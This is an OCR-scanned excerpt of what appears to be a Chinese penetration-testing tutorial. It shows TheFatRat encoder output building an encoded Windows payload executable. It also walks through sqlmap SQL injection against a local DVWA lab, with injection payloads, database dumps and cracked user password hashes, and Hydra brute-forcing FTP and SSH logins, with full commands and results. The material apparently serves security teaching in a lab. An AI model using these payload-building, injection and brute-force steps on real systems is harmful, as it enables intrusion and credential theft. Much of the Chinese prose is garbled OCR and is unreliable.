Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 797 (iteration=0)
x86/jmp_call_additive chosen with final size 797

Payload size: 797 bytes

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword xor succeeded with size 826 (iteration=0)
x86/call4_dword_xor chosen with final size 826

Payload size: 826 bytes

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga nai chosen with final size 27

Payload size: 27 bytes

Final size of exe file: 73802 bytes

Saved as: /root/Fatrat_Generated/hacklong.exe.exe

B 3.4.2.11 LA L€k
RARTR AT, FHRALET
/root/Fatrat_Generated/hacklong. exe.exe X%, X Z A4
LA exe R? RFE, RAAAMANL FHERE ZH AL
AT IRMANT b, RERS 4.2.7 FHRANGR
hack long. exe E b & F /- exe, X E & X & KA —ABF T,

: /root/Fatrat_Generated/hacklong

K 3.4.2.12 mAal e 14

FAle e HAEHEMT, Bl 360 FE LB —T, FHCEAL

it XA, 4o 3.4.2.13 AT~

% 151 0



HoElg: 1
it 00:00:03

HEMEE: 0
HOEIEE: 0

Lirs

B 3.4.2.13 it X EFi 4

L, AF REARRT, SAAEMGRBLZA R AA

;lé .

0
b2

EINZERFHHATRRHNXLEIT, AR L X004
AT A Bl C R AR AT i R L K E A, R ARAT A
AT AL E % AL LR —H T AGRE X F k. ARk B AT K AS
ZR AN T B BT LA o) 423t 360, 422 4o R AR AR MK, 69 B A% =T AR 7L AR
T, IATERE ZBANGDET .

B2 BEBEMHEFGNERGIFTFHMY. EHENEKE,
B AW ATAT P & A

A RATARL % B R A & 44 R B E A6 BRBIR,
R, XEENENEII GRS E—REAREAXERS T,
HAIEE R KK, BT ARBE T L,

% 152 W



3.4.3 5 BB IMAF
M2 A B RREE S REE 5RO E T, RESHIEARRZL
HEAREGT AE, LA TE EAHNT —FkE, REFHFH
P AR A R A R H] R B AR, Flde Y AR e AR A
ER, REFFBAAALIE, AATE—RNEZE T A4 H

By Rk AR A AT AS IR R TGS 2 P AT SUAR N Jnid va B 4%
A H kR gt B AL, RO Frid 3% s A A 8RR

[ db e Z0E ) A9 HE R B BB 2 AT AR AT i, thde & 20—
REEVELAL, FERRGERN RGN LHRR LA S
EMBENR? T— R RE—ABHRELR, SRERELENDHET
R T A, RS20 B E T RF %
T, MRE 2D ARt R BRI B BB R 6 IR TARRA &
Rt R N KRR ARG A LAY AP eG B Ta], LR LAY, TR S &
A FA !

3.5, BEIEHERZIBHEMMALIR?
BANTEFZRAERGBNE AR, XEHE]|E—
1) ERIKS, RFKTHAMAGAD, B L g, B

DSt o
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HE ()

By

B

2) BBBAT T A

3) AN SR RIS T ALE A, e ikt R AR
BT EF

4) R B NARRE LN ARIG T HEAL K, HIRGA
5

5) LH TRAMAZ IR, BES AR IP kM S FH
KB Ay B

6) FAEPGE, FRBUFRITER

EEKRET, 751000 MFIETR R, EAMRELESH
T R Bag Ao R 25 AR KOG F M, BEAT AL, Fo M40 X 8

ARBELTARN, IARSAFALLT, @A,

3.6, KiZdelTH;#9?
At R FTRENBERRANEL L & T
1) 3798 K3, REARLENRMSE, BARIE K, ”E
P B2 XA
2) RET4Z%ATANT, 52 RF

3) XM FEAANEH T, 4445, 3389 &
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4) RNE2 B EAEH, BEREG NS4S

5 NEEFZTZFETHRAR, HEFR TR, BLMUHE

6) NEEFTatstds, BARBEEE

7) FAKEEREFK—E RF10EUELOEAKE FHE,
NEFE, BT HRFA, sk R

8) NEIZER —ANEA, B %R ABIRELEE A iE
R

9) REEHMEANA

B

10) L€, PlleBFEORLABF. N2tErat wifi F,

B AR —53E wifi AIAGLT AZREIRT

W, AERAXEBE
4.1 RRRLERR, XfeREXRE?
EAFRAA R EERA XA, A L@ RMEMTAXAR,
AEXRZEW. FTFTAMEXSZHRRKGA B FAAXGRSE &
AR 5EF G AR, e ARG AR T AE B _EE . RGN AR
3 R RIK T AREIAE R EIKT | ARG C B KIKT AR

Fo R 558 AR K, AR 2 % 3 b 0 IEA R SE A B KB 2 B AR T R
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SR ER AR5 e FAE—RHK, HILEELEFR

shlL Ao ZAVEESEBAE AR K

£h): NER-LEBOFAE, BRERCRILFEL, A—XK
PNERRAABTHEREHELRT, BT RAaTHXG SR
SEIKFTARB LT MEF, X TFTART ME, EXRT 21000 5T
ESEZ7

SAT: ZAFNB A RAR S, HR R RAEK, Fahomdck
&, MATHRGREAALRF T web 55X EFT . TANERATELLA
B 557, AL M EE? B RAEREFRAANETZAE—AQQ
REA A N NPT e R SRR Sl s pE v SN AR o e Y T & 73
BRET, TEREERLHARFT REWKTEL, LPstais )
0, R X LIRS FRHATHE, ZREXSNFEXFE
BB R X A — e A R AR AR

Btk XEH —ANRTRAA D E SAF SR IR IKT 55,
EHREFRT LK ESBARELSAKE AR —AFDHINE, b
Ko FEBE| OGP AAAAXAFE R, AT EANARELERE RSN,
P Ae B TARKBGIK P bR G T o XFEAR A A BLBIE A EE W
RoALAe 1 5592 2 5 TR T 4
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4.2 BEAMF A RAFHR AT
BEIGEME IS AF GA A SR, AER T 26035
TAERFATHE. GREFMEGTAH. FFAG, KRB ARK
PEEAE. AR GITREIESFSH, EFAEA T 24K 50
K Lo
4.3 BE MR ERE?
BRAERMEN T RIET S, EERRIERE LA RF LA
Kk B RR mk AR 87 X, AR R 2K %4 7 Xt
s, e B R AZ B ERE M A 6 T @238 2 A 12 Lk
W, MABBBEARPMA AT XNAKLER, LELHEFNE—T:
1) FHR LA 912 4
12804 MabTAA. MabR AT 24425383209, $8 % £
AEMA, ftp &, AL TFHREESF
2) 1AM LR ;
WAB VA A2 A R R 55 R R A28 T B 84T R AR, & AR

LA AN R /E, dmi5a 4, SQL 2 AF 5,
3) 4= R A A8 & RN 3t B RTR, he R XA EFAT T A

R AR B, o3 EEA . FTP B 5,
4) e R R sETTLEME K, B REEZBEAATLT A LERE.
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BEMEHE (o

By A5 ok RIS, R ARYE W sb 3 AL B de discuz R A B
R E BT NAZ

5) @it ANk REMKRE SRR T EEFERRLE S
B FHak, RARBEMAEEINFKFOELEREE, REETH
I B %y I ) 5 3R 13 webshe | | AR, iX Z L 7T MAS B ML R AE T,
P PABE— B RAGKBUR - 35 AR

6) R LT IR G AT AT 69k

7) BREFAETERSZERGARKEEENRF, wRAER
BTRFSBRBREIANHAERXAET T

8) ddos &, CC K&, &ML EATH

9) #

HTRSEANZ IR TR OB ARR T REIET S, X ELKRE T
DHRBT, E =R e9 BRI

4.3.1 sql EAKH

SRR kali HRZAHEBK RAFET X,

kali IP: 172.20.10.8,

W3z (BPIRSES) IP: 172.20.10. 2,

M ohXuht: http://172.20.10.2/dvwa/login. php

M 3k421% . phpstudy + dvwa %% 01X 3R3%
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http://172.20.10.2/dvwa/login.php

K5

%f—

1 )

B F M3k, 5123k Cookie:

We
L

password, 42[& 4.3.1.1 B~

B R kG 6 d e B 4.

ome

c

Wei %X+

Damn Vulnerable ' X +

A F=2

Instructions
Setup / Reset DB.

Brute Force
Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

172.20.10.2/dvwa/login.phg

EFERAL, MAKTE

N\
DVWA

Username

admin

Password

[Login]

B4.3.1.1

172.20.10.2/dvwafindexphp

BNTK 5

3.1.2 P~

oA

Welcome to Damn Vulnerable Web Application!
Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main

goal is 1o be an aid for security professionals 1o test their skills and tools in a legal environment, help web

A R A b

L K5 admin &

developers better understand the processes of securing web applications and to aid both students & teachers to
leam about web application security in a controlled class room environment.

The aim of DVWAis to practice some of the most common web vulnerabilities, with various levels of

difficultly, with a simple straightforward interface

General Instructions

Itis up to the user how they approach DVWA. Either by working through every module at a fixed level, or

selecting any module and working up to reach the highest level they can before moving onto the next one. There
is not a fixed object to complete a module; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability.

Please note, there are both

and

intentional. You are encouraged to try and d

= o
iscover as many issues as possibk

with this software. This is
e

DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
increase the difficulty. This will demanstrate how adding another layer of security may block certain malicious
actions. Note, there are also various public methods at bypassing these protections (so this can be seen as an

extension for more advanced users)!

There s a help button at the bottom of each page, which allows you to view hints & tips for that vulnerabilty.
There are also addtional links for further background reading, which relates to that securly issus

WARNING!

Damn Vulnerable Web Application is damn vuinerable! Do not upload it to your hosting provider's public html
folder or any Internet facing servers, as they will be compromised. Itis recommend using a virtual machine

(such as or
dovnloading and install

Disclaimer

), which is set to NAT networking mode. Inside a guest machine, you can
for the web server and database

We do not take responsibility for the way in which any one uses this application (DVWA). We have made the

purposes of the application clear and it should not be used maliciously. We have given warings and taken

measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an
installation of DVWA tis not our responsibility it is the responsibility of the personfs who uploaded and installed it

More Training Resources

a
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SQL Injection &+~ SQL /E NRFE, 42 4.3.1.3 B~

- o
[ vulnerability: SQLInjection = [ %X +

& C A F==# | 172.20.10.2/dvwa/vulnerabilities/sqli/ B v

= Vulnerability: SQL Injection

Instructions
Setup/ Reset DB UserlD:[ | [Submi]

Command Injection | More Information
B :

File Upload

tnsectie CARTCHAT |
 SQLinjection
SQL Injection (Blind)
Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

B 4.3.1.3 3T ENBRRAA G
KRG BATEAZ N —ANEK T 1, &5 Submit $2 34548, o

K 4.3.1.4 Ff:

Vulnerability: SQL Injection = T X = 4

<& C A F=# | 172.20.10.2/dvwa/vulnerabilities/sqli/?id=18&Submit=Submit# wox @

e Vulnerability: SQL Injection
Instructions
Setup [ Reset DB Useri:[1 ][ Submit

I 1

Brute Force Fizst nane: adnin
Command Injection Aname. eimn
CSRF

File Inclusion More Information
File Upload .

Insecure CAPTCHA
Gesl bt I
SQL Injection (Blind)
Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

‘CSP Bypass

JavaScript

B 4.3.1.4 N1 EFERK
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EERITABRE ID AR P LA, SR 2 15FiX
—TAAARLZTURHEAP IDA 28 54/ 8, 4wE 4.3.1.5

P

B Vulnerability: SQL Injection =1 X =+

& C A F== | 17220.10.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit# oy O

i Vulnerability: SQL Injection

Instructions

Brute Force First name: Gordon
Command Injection
CSRF

File Inclusion More Information
File Upload .

Insecure CAPTCHA
 SaLinjection |

5L Injection (Blind)

Weak Session IDs

Ye& mnmn |

F4.3.1.5 &3 1D A 2 8912 &

RAREMBRT, TERMNA—TATEAANMALE XA ;

http://172.20.10. 2/dvwa/vulnerabilities/sqli/?id=1&Su
bmi t=Submi t#

http://172.20.10. 2/dvwa/vulnerabilities/sqli/?id=2&Su
bmi t=Submi t#

PR A A AN S —FE ] T a9 —4%, $09A T B SQL
ENIE ) R E WK EADKAZT L, T @ig L&A sql EAAYE
SQLMAP, 2 kali A AR HIANC L AF XK ITRLT, BAMKRE—TFH

Az e, wl 4.3.1.6 Fr:
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root @kali: ~

_| http://sqlmap.org

Usage: python3 sqlmap [options]

Options:
-h, —-help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)

Target:
At least one of these options has to be provided to define the
target(s)

-u URL, --url=URL Target URL (e.g. "http://wwmw.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs

Request:
These options can be used to specify how to connect to the target URL

--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL

--tor Use Tor anonymity network

B 4.3.1.6 sqlmap #8113 4
¥ -u BHAE FIE AR, —cookie 452 ] F 49 cookie 13 &,
A BB EZ G iR Eey, RLE vk cookie 13 &0 &
MAEMSZOREF1248, TFFAERX, RHH—TRN@E, RE
72 Network E @ 3% 8] K AL iH K94, K 3F| cookie 1E, KRG T %k,
B MEl, B 4.3.1.7 FfF:
HKA149 cookie 1HA :

secur ity=low; PHPSESSI|D=iagpdkno44r2msammuubhg195¢c
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Home Vulnerability: SQL Injection

Instructions |

Setup / Reset DB | User ID: [ [Submit

2
Brute Force Fis
Command Injection

CSRE

File Inclusion More Information

S

File Upload g [Jiogopng
Insecure CAPTCHA : [ ] faviconico

SQL Injection (Blind)
Weak Session IDs.
XSS (DOM)

XSS (Reflected)
XSS (Stored)
CsP Bypass
Javascript

Accept

DVWA Security Accept Language:
PHPInfo ache-
About

Logout
Username: admin View Source | View Help

Security Level: low.
PHPIDS: disabled

B 4.3.1.7 X3 F] cookie
BARLEH—BA5H, KEAEAZLHATH—TET, 4o

4.3.1.8 T

[ root@lali: ~
Xt EhfF wiE EE

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables

-a, -—-all Retrieve everything

-b, --banner Retrieve DBMS banner

--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema

--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate

-T TBL DBMS database table(s) to enumerate

-C COL DBMS database table column(s) to enumerate

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

--0s5-shell Prompt for an interactive operating system shell
--05-pwn Prompt for an OOB shell, Meterpreter or VNC

K 4.3.1.8 £ %% AAHK
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Xt o RE BT HEH

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual con
sent is illegal. It is the end user's responsibility to obey all applicable local, s
tate and federal laws. Developers assume no liability and are not responsible for an
y misuse or damage caused by this program

[*] starting @ 13:03:54 /2021-02-06/

[13:03:54] [INFO] resuming back-end DBMS 'mysql'

[13:0 ] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=2' OR NOT 9605=9605#&Submit=Submit

Type: error-based
Title: MySQL = 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(GTID_SUBSET)
Payload: id=2' AND GTID_SUBSET(CONCAT(@0x7170707871,(SELECT (ELT(7579=7579,1))),0
x71786b6a71),7579)-- qlBp&Submit=Submit

B 4.3.1.9 F4EN
B F )5 IR UANER, LT
it looks |ike the back—end DBMS is ‘MySQL’ . Do you want
to skip test payloads specific for other DBMSes? [Y/n] #&
ARG 7% DBMS & “mysql” o & F R ki 452 T H A DBMS &M%
AARER? #L2RA B R mysql #EE, Bk, TAeEHL
o KRR, N Y
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() 2 EMEHLE
for the remaining tests, do you want to include all tests
for ‘MySQL’ extending provided level (1) and risk (1) values?
[Y/n] #3535 TR R0MK, RFLOQET RREGEAN (1) A&
(1) 1889 “mysql” B9FTA MK? #0F ALK, BEHmAn
GET parameter ‘id’ is vulnerable. Do you want to keep

testing the others (if any)? [y/N]
#get Sdk “id” B KF. AL XLAD (XA 6

%) 7 Ly/n] A n

PITERE 2R TEATRIEERR P LAR, B 4.3.1.10 Af

fetchlng banner
NG] reflective value(s) found and filtering out

4] [INFOJ fetching current database

current database 'dvwa '
[1Z70 4] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap
/outputflfz.zﬂ 102"

B 4.3.1.10 &34 L AT 438 E 5 KR P A A8 E L AR
1) BLEARAM T ASE SRR EARTR, TEshT LR —Z T8
FWT, B 43111 BT, AR e ASRFITR B K mysql $4%
Bty Bl P A5 A hash {8, J& 2T VAR %5 2 hash #4748, A
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B

B

R
—string : % &9 AT AR TR R & F 6 F 55 $
—users : #Z DBMS A 7

——passwords : #XZ< DBMS A F % 2% hash

/?2id=2&Submit=Submit"

/sqlmap.or

7 K A a9 3L

do you want to store hashes to a temporary file for
eventual further processing withother tools [y/N] #2 & %
FrobAr Ak B MG 0 AR, DR R AL A Hfe TRt fTdt — 5 432

do you want to perform a dictionary—based attack against
retrieved password hashes? [Y/n/ql

#R GBI R B W FASAPATE T FRGEE? Iy

what dictionary do you want to use? #/R78 H A+ A5 3 ?

[1] default dictionary file

¢

/root/sqlmapproject—sqlmap—7eablbc/txt/wordlist. zip ’

(press Enter)
#EK N F 3 A
/root/sqlmapproject—sqlmap—7eablbc/txt/wordlist. zip’
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(# Enter 4%)
[2] custom dictionary file #8 & 383 L4+
[3] file with list of dictionary files ##r FH L 7] %
a9 XA
HEEE &, 12 FBGNF
do you want to use common password suffixes? (slow!) [y/N]
AL EERTRAEDLEHR? (B! ) @iy

BT R TEA 3.1. 11 17, # R root Ik 7 5845 4 root :

] root@kali: ~
% Wi GE & HI
other tools [y/N] y
[13:17:07] [INFO] writing hashes to a temporary file '/tmp/sqlmapustotr1f2106/sqlmap
hashes-4jul76oy.txt"’
do you want to perform a dictionary-based attack against retrieved password hashes?
[Y/n/q] y
[13:17:16] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[13:17:23] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
7:29] [INFO] starting dictionary-based cracking (mysql_passwd)
starting 4 processes
\FO] cracked password 'root' for user 'root'

database management system users password hashes:
[*] mysql.session [1]:

password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[*] mysql.sys [1]:

password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
[*] root [1]:

password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

clear-text |password: root

[13:17:41] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap
/output/172.20.10.2"'

B 4.3.1. 11 BLfE %A

2) #EDWWA B hg %k
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F# A5 0 DBMS £k 3F &
- tables : #Z< DBMS # 4% & ¥ 69 32 £

BATHE X4 4.3.1.12 P

/?1d=2&6Submit=Submit"
dea

[13:23:11] [INFO] the back-end DBMS is MySQL
back end DBMS: MySQL = 5.6
[13:23:11] [INFO] fetching tables for database: 'dvwa'

[13:23:11] [WARNING] reflective value(s) found and filtering oL

Database dvwa

[2 tables]

e ¥
guestbhook
users

B 4.3.1.12 &1 dvwa 248 B P a9 IE £
3) FI dvwa B P users Z 9T R 7 L F
# R A S
F A DBMS #38 B&
- columns : #XZ< DBMS #k 4% & % 49 B A 7]
BATHE R B 4.3.1.13 B~

omit=Submit”

dvwa users
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13:26:34 WARNING
Database: dvwa
Table: users
[8 columns]

R
Column | Type

E T
user varchar(15)
avatar varchar(70)
failed_login int(3)
first_name varchar(15)
last_login timestamp
last_name varchar(15)
password varchar(32)
user_id int(6)

o . %

[13:26:34] [INFO] fetched data logged to text files under '/root/.local/share/{
/output/172.20.10.2'

B 4.3.1.13 &if users 4974

4) HE, FI dvwa E P users ZBIFT A 769 4 F

AR AL ABRORE, WARIEET FHEIE 2T
BESCGEZENSR, CHARBRBEIINGR G, LEGHRLH
I o

R =&

-T © AR DBMS # 38 %

~C: ZHA 4y DBMS 4% % F 497

- dump : #51i% DBMS #L3E & A

e

do you want to store hashes to a temporary file for

eventual further processing withother tools [y/N] #2 &

K oh AL G4k BN e B SR, MR LA T B BT A2 ?
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2B
do you want to crack them via a dictionary—based attack?
[Y/n/ql
#ir AT R TR e HFAMe D ? dictionary-based
attack A& FF #9305
what dictionary do you want to use? #/R78 H A+ A S5 3 ?
[1] default dictionary file
“ /root/sqlmapproject—sqlmap—7eablbc/txt/wordlist. zip ’
(press Enter)
#ERIN L S A
/root/sqlmapproject—sqlmap—7eablbc/txt/wordlist. zip’
(# Enter 4%)
[2] custom dictionary file #8 & 383 L4+
[3] file with list of dictionary files #r FH# L5 %
a9 XA
HEEE &, £ F RGN T
do you want to use common password suffixes? (slow!) [y/N]
R G ZERT RAELEHR? (B! ) Ny
BAT4E X4 4.3.1. 14 FrT=:

a/vulnerabilit 1i/7id=2&Submit=Submit™"
no44r2msammuubhg G dvwa users user,

password
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cf99"

Database:
Table:

root@kali: ~

iRiE B

starting dictionary-based cracking (md5_generic_passwd)

starting 4 processes
cracked password

cracked password 'charley'
cracked password 'letmein’
cracked password

dvwa

users

[5 entries]

%

| user

=
admin
gordonb
1337
pable
smithy

[13

BAVRATHF A —TFENLAF, AFECEREKFT

ufputfl??.
Lapgl | E
/output/172.2

5

| password

=
5f4dcc3b5aa765d61d8327deb882cf99
€99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe4dcade3de5c71e9e9b7

5f4dcc3b5aa765d61d8327deh882cf99

table 'dvwa.users'

20.10.2/dump/dvwafusers.csv'’

.10.2'

'password’

'abc123' for hash 'e99a18c428ch38d5f260853678922e

for hash '8d3533d75ae2c¢3966d7e0@d4fcc692

for hash '0d107d09f5bbe40cade3de5c71e9e

for hash '5f4dcc3b5aa765d61d8327deb882

(password)
(abc123)
(charley)
(letmein)
(password)
—_—

dumped to CSV file '/root/.local/share/sqlmap/o

fetched data logged to text files under '/root/.local/share/sqlmap

B 4.3.1.14 mAGIFRBIE R P B E A H Ik A1 user. csv A+

,—‘»
9)—"—;

LRAETRT,

XA TR T B, 4B 4.3.1.15 B

output/172.20.10.2/dump/dvwa

user,password
admin,5f4dcc3b5aa765d61d8327deb882¢cf99 (password)

gordonb,e99a18c428cb38d5f26085367892
1337,8d3533d75ae2c3966d7e@d4fcc69216b (charley)
pablo,@d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)

REBEXTURNEERKRTELRES

TR BEZE R

A=4

3
N

T

~

7

4
"

uUsers.csv

2e03 (abc123)

B 4.3.1.15 w6 E

j=4

K5

ANETTE

p=4

ITHREER, AEF

EFERERBRE S EF%,

i SQL NS ENE —AN R by AR, X
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BEMEEE (o)

PHIAKRIEEDREGEF—%, EIRAMFEE, ~ERA4R
i, NEHRAEFSLEMNIAGZE. BHNAGRETRE RS
INIEEZ LA FERA FF, — L R EERE RIEF
T, PTAE B ILAEARRE R R EIRE M b NZ L Ffe B A AL 848

Ko W RBELEMEZED, AT FXA &6y 8 LA T K

Heconen , BZ 2RI BEAMNRAGTEIET K, A—2 &y, R
AT I 7

4.3.2 KRR K
EH ) AR RAGA) R FRKRBATR ) A, i ER RS
RSk K — 2 T AR ARG, Ta RNk N%B—HKITE hydra, ©
A —HAEF R RGBT E, LFREANW A, BIAKEAML

F—TFHWB LA, B 4.3.2.1 FrT:
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] root@kali: ~

Xttt EfF HRE BT ®E

e
ra / {x}
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in milita
ry or secret service organizations, or for illegal purposes (this is non-binding, th
ese ** ignore laws and ethics anyway).

Syntax: hydra [[[-1 LOGINFL FILE] [-p PASSP FILE]] | [-C FILE]] [-e nsr] [-o FILE
1 [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHA
RSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
-R restore a previous aborted/crashed session
=1 ignore an existing restore file (don't wait 10 seconds)
=5 perform an SSL connect
-s PORT if the service is on a different default port, define it here
-1 LOGIN or -L FILE 1login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-X MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help
-y disable use of symbols in bruteforce, see above
-r rainy mode for password generation (-x)
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
=CARTLE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-0 FILE write found login/password pairs to FILE instead of stdout
-b FORMAT specify the format for the -o FILE: text(default), json, jsonvl
madl gt =IE exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-T TASKS run TASKS connects in parallel overall (for -M, default: 64)
-w / -W TIME wait time for a response (32) / between connects per thread (@)
-c TIME wait time per login attempt over all threads (enforces -t 1)
-4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)

B 4.3.2.1 hydra 24

XEFREGHE-| RER P &, -LRER P &M, p RE

%

2, P REFA I, —s 2w, BRAE—TCILHENHME
@ 3R eE 4.3.2.2 i

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]
-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] i
rc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-li

stener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin r
pcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak
telnet[s] vmauthd vnc xmpp

B 4.3.2.2 X HHRIR 5 £ A

Ae M s X m AR RKEROIE T, 4 ftp. mysql. http.
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oracle. rdp %, RAXNZIfTiE FR, KM EKA—TLH®

P&k, 40 4.3.2.3 Frs:

Examples:
hydra user -P passlist.txt ftp://192.168.0.1
hydra userlist.txt -p defaultpw imap://192.168.0.1/PLAIN

hydra defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra admin -p password ftp://[192.168.0.0/24]/
hydra logins.txt -P pws.txt -M targets.txt ssh

B 4.3.2.3 % EpiEk
T @ AR — AR K, KA IZIF A F phpstudy #7E —

A ftp, B P %7 admin, %457 password, 4=/ 4.3.2.4 A

Brs FTPER s BER BE

admin passward IEE  Diphpstudy pro/WWW/DVWA

FTP

AF& admin

00

=g password

HEZ: /phpstudy_pro/WWW/DVIWA

P Apache2.439 B MySQLS.7.26 @ kaE: 8.1.1.2

B 4.3.2.4 #ZE ftp 21

Je ZAVE mytest B KT #EZMA/A LA user. txt, pass. txt
AR GRAFELRGR P Fo B, 1wk 4.3.2.5 7T
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B
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B
Sl
O Euos

AN\

| J . P s
XH(F) fRIB(E) M= I (O) MHF(F) fmIE(E) (S) & ) EEBh(H)
user 1203546
admin 45645646

ts2019

ts2018

ts2017

ceshille

LONGge999

password

89898798

B 4.3.2.5 BLE KT Ao iF Al g1

RIGHZIBG TR ) okt 4B 4.3.2.6 Fi:

I a /root/mytest/user.txt /root/mytest/pass.txt ftp://172.20.10.2 6
/root/mytest/result.txt
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or
secret service organizations, or for illegal purposes (this is non-binding, these »*x ig
nore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-02-06 14:14:00
[DATA] max 6 tasks per 1 server, overall 6 tasks, 18 login tries (1:2/p:9), ~3 tries per
task

[DATA] attacking ftp://172.20.10.2:21/

[VERBOSE] Resolving addresses ... [VERBOSE] resolving done

[STATUS] attack finished for 172.20.10.2 (waiting for children to complete tests)
[21][ftp] host: 172.20.10.2 login: admin password: password

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-02-06 14:14:01

B 4.3.2.6 MR H R KT 5 A

£ result AP LSRN FTIKT EFALZ L, 0B 4.3.2.7 BT
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[root/mytest/

user.bxt

pass.txt  result.txt

>

XHF(F) #RiIB(E) ME(S) EmM(O) #BENH)

# Hydra v9.1 run at 2021-02-06 14:14:00 on 172.20.10.2 ftp (hydra -L /root/mytes
[21][ftp] host: 172.20.10.2 login: admin password: password

ftp:

B 4.3.2.7 result X4

hydra —L /root/mytest/user. txt —P /root/mytest/pass. txt

//172.20.10.2 -t 6 -v —f —o /root/mytest/result. txt -

-L /root/mytest/user. txt: & P &5 A
—P /root/mytest/pass. txt: 1§ FAF M L4
ftp://172.20.10. 2: 5 T S EAUHLAE B 035U X
-t 6: F/EKRA 6 NEAZBAT I

-v: R EmidfE

—f: KRB F 3B TG R E A IR P AL

-0 /root/mytest/result. txt: Fakfgss R G

-q: BRI H L
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P EEBFER T

R % BN E—k it B EE K

—-S K Al SSL 4:3%.

—s PORT 7@ ifX /AN 45 € dEBRIAIR O

-1 LOGIN 452 sk gy Fl P, xt4F2 F P aifig.
-L FILE 52 A F &5 42,

—p PASS B, I Bk, VA, —MBRARKAFMTH,

—ens FRLLEMA, n: TEAIRIR, s: EHIE L P AB AR
%o
—CFILE 1 1§ 5924 X, Plde“ B F & F” 2 XKE-L/-P

-M FILE # = BARD & I —1T— 4.

—o FILE #5245 Firh

—f EAER-MARE, KB F 3B TG S B IE T
17§

—t TASKS PR Btiz 789 & A28, BKAHA 16,

-w TIME % & R KAZBTagudTa], $#424), BKIARZ 30s,

-V / _V i%i%éwiiﬁio
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BEMESE (o)

server H#E: ip

service 2R % &, L FWIRFSFBL: telnet ftp

pop3 [-ntIm] imap[-ntim] smb  smbnt  http—{head]|get}

http—{get|post}—form http—proxy cisco cisco—enable vnc |dap2

|dap3 mssql mysql oracle—I|istener postgres nntp socks5 rexec

rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp—auth[-ntIm]

pcanywhere teamspeak sip vmauthd firebird ncp afp ¥ %,

ssh

-vV

P % RiE R4 T
1. B fE ssh:
# hydra —| AP % —p EAFH -t &F2 —vW —e ns ip ssh

#hydra—-| AP % —p FaFHE -t ZAL —osave. log—VvV ip

2. AR ftp:

